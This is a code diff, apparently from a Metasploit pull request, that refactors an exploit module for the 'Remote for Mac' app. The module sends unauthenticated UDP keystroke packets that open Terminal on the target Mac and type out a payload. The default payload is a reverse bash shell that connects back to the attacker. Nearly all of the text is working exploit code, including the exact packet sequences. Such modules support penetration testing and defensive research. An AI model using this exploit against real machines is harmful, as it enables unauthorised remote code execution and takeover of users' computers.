@@ -5,6 +5,7 @@ class MetasploitModule < Msf::Exploit::Remote
5
5
Rank = ExcellentRanking
6
6
7
7
include Msf ::Exploit ::Remote ::HttpClient
8
+ include Msf ::Exploit ::Remote ::Udp
8
9
9
10
def initialize ( info = { } )
10
11
super (
@@ -16,79 +17,54 @@ def initialize(info = {})
16
17
When the "Allow unknown devices" setting is enabled, it is possible to simulate keyboard input via UDP packets
17
18
without authentication. By sending a sequence of key presses, an attacker can open the Terminal and execute
18
19
arbitrary shell commands, achieving code execution as the current user.
19
-
20
- Tested on macOS Mojave and Ventura.
21
20
} ,
22
21
'Author' => [ 'Chokri Hammedi' ] ,
23
22
'License' => MSF_LICENSE ,
24
23
'References' => [
25
24
[ 'URL' , 'https://packetstorm.news/files/id/196351/' ]
26
25
] ,
26
+ 'Platform' => 'unix' ,
27
+ 'Arch' => ARCH_CMD ,
28
+ 'Targets' => [
29
+ [
30
+ 'Unix Shell' , {
31
+ 'Platform' => 'unix' ,
32
+ 'Arch' => ARCH_CMD
33
+ }
34
+ ]
35
+ ] ,
36
+ 'DefaultTarget' => 0 ,
37
+ 'DefaultOptions' => {
38
+ 'SSL' => true
39
+ } ,
40
+ 'DefaultPayload' => 'cmd/unix/reverse_bash' ,
41
+ 'DisclosureDate' => '2025-05-27' ,
27
42
'Notes' => {
28
43
'Stability' => [ CRASH_SAFE ] ,
29
44
'Reliability' => [ REPEATABLE_SESSION ] ,
30
45
'SideEffects' => [ IOC_IN_LOGS , SCREEN_EFFECTS ]
31
- } ,
32
- 'Platform' => [ 'unix' , 'osx' ] ,
33
- 'Arch' => ARCH_CMD ,
34
- 'Targets' => [ [ 'Remote for Mac 2025.6' , { } ] ] ,
35
- 'DefaultTarget' => 0 ,
36
- 'DefaultPayload' => 'cmd/unix/reverse_bash' ,
37
- 'DisclosureDate' => '2025-05-27'
46
+ }
38
47
)
39
48
)
40
-
41
- register_options (
42
- [
43
- Opt ::RHOSTS ( ) ,
44
- Opt ::RPORT ( 49229 ) ,
45
- OptBool . new ( 'SSL' , [ true , 'Use SSL for HTTP check' , true ] ) ,
46
- OptString . new ( 'TARGETURI' , [ true , 'Base URI path' , '/' ] ) ,
47
- ]
48
- )
49
49
end
50
50
51
- def check_auth_disabled?
52
- protocol = datastore [ 'SSL' ] ? 'https' : 'http'
53
- vprint_status ( "Checking authentication on #{ protocol } ://#{ datastore [ 'RHOSTS' ] } :#{ datastore [ 'RPORT' ] } #{ datastore [ 'TARGETURI' ] } api/getVersion" )
54
-
55
- begin
56
- res = send_request_cgi ( {
57
- 'method' => 'GET' ,
58
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'api' , 'getVersion' ) ,
59
- 'ctype' => 'application/json' ,
60
- 'ssl' => datastore [ 'SSL' ] ,
61
- 'rport' => datastore [ 'RPORT' ] ,
62
- 'rhost' => datastore [ 'RHOSTS' ]
63
- } )
64
-
65
- if res &.code == 200
66
- json = JSON . parse ( res . body )
67
- if json [ 'requires.auth' ] == false
68
- print_good ( 'Authentication is disabled. Target is vulnerable.' )
69
- return true
70
- else
71
- print_error ( 'Authentication is enabled. Exploit aborted.' )
72
- return false
73
- end
74
- else
75
- print_error ( 'Unexpected response from target' )
76
- return false
77
- end
78
- rescue ::Rex ::ConnectionError , JSON ::ParserError => e
79
- print_error ( "Connection or parsing error: #{ e . message } " )
80
- return false
81
- end
82
- end
51
+ def check
52
+ res = send_request_cgi ( {
53
+ 'method' => 'GET' ,
54
+ 'uri' => normalize_uri ( target_uri . path , 'api' , 'getVersion' )
55
+ } )
83
56
84
- def exploit
85
- unless check_auth_disabled?
86
- fail_with ( Failure :: NotVulnerable , 'Target requires authentication or is unreachable' )
87
- end
57
+ return CheckCode :: Safe ( 'Application might not be Remote For Mac' ) unless res &. code == 200
58
+
59
+ json_body = res . get_json_document
60
+ auth_enabled = json_body . fetch ( 'requires.auth' , nil )
88
61
89
- udp_port = datastore [ 'RPORT' ]
90
- target_ip = datastore [ 'RHOSTS' ]
62
+ return CheckCode ::Appears ( 'Authentication is disabled, target is vulnerable' ) if auth_enabled == 'false'
91
63
64
+ CheckCode ::Detected ( 'Remote For Mac detected, but authentication enabled' )
65
+ end
66
+
67
+ def exploit
92
68
initial_packets_hex = [
93
69
'07000200370001' ,
94
70
'07000200370001' ,
@@ -102,45 +78,43 @@ def exploit
102
78
'07000200240000'
103
79
]
104
80
105
- udp_sock = UDPSocket . new
106
- udp_sock . connect ( target_ip , udp_port )
81
+ udp_sock = connect_udp
107
82
108
83
print_status ( 'Simulating system keyboard input to open Terminal...' )
109
84
initial_packets_hex . each do |hexpkt |
110
- udp_sock . send ( [ hexpkt ] . pack ( 'H*' ) , 0 )
85
+ udp_sock . put ( [ hexpkt ] . pack ( 'H*' ) )
111
86
select ( nil , nil , nil , 0.05 )
112
87
end
113
88
114
89
prefix = [ 0x06 , 0x00 , 0x03 , 0x00 ] . pack ( 'C*' )
115
90
'terminal' . each_char do |ch |
116
91
pkt = prefix + ch . encode ( 'utf-16le' ) . force_encoding ( 'ASCII-8BIT' )
117
- udp_sock . send ( pkt , 0 )
92
+ udp_sock . put ( pkt )
118
93
select ( nil , nil , nil , 0.1 )
119
94
end
120
95
121
96
final_packets_hex . each do |hexpkt |
122
- udp_sock . send ( [ hexpkt ] . pack ( 'H*' ) , 0 )
123
- select ( nil , nil , nil , 0.1 )
97
+ udp_sock . put ( [ hexpkt ] . pack ( 'H*' ) )
124
98
end
125
99
100
+ print_status ( 'Initial sequence finished, waiting for terminal to be spawned..' )
101
+
126
102
sleep ( 2 )
127
103
128
104
shell_cmd = payload . encoded
129
105
print_status ( 'Sending malicious payload to be executed...' )
130
106
131
107
shell_cmd . each_char do |ch |
132
108
pkt = prefix + ch . encode ( 'utf-16le' ) . force_encoding ( 'ASCII-8BIT' )
133
- udp_sock . send ( pkt , 0 )
109
+ udp_sock . put ( pkt )
134
110
select ( nil , nil , nil , 0.1 )
135
111
end
136
112
137
113
final_packets_hex . each do |hexpkt |
138
- udp_sock . send ( [ hexpkt ] . pack ( 'H*' ) , 0 )
139
- select ( nil , nil , nil , 0.1 )
114
+ udp_sock . put ( [ hexpkt ] . pack ( 'H*' ) )
140
115
end
141
116
142
117
print_good ( 'Payload sent. Awaiting session...' )
143
- ensure
144
- udp_sock . close if udp_sock
118
+ disconnect_udp ( udp_sock )
145
119
end
146
120
end
0 commit comments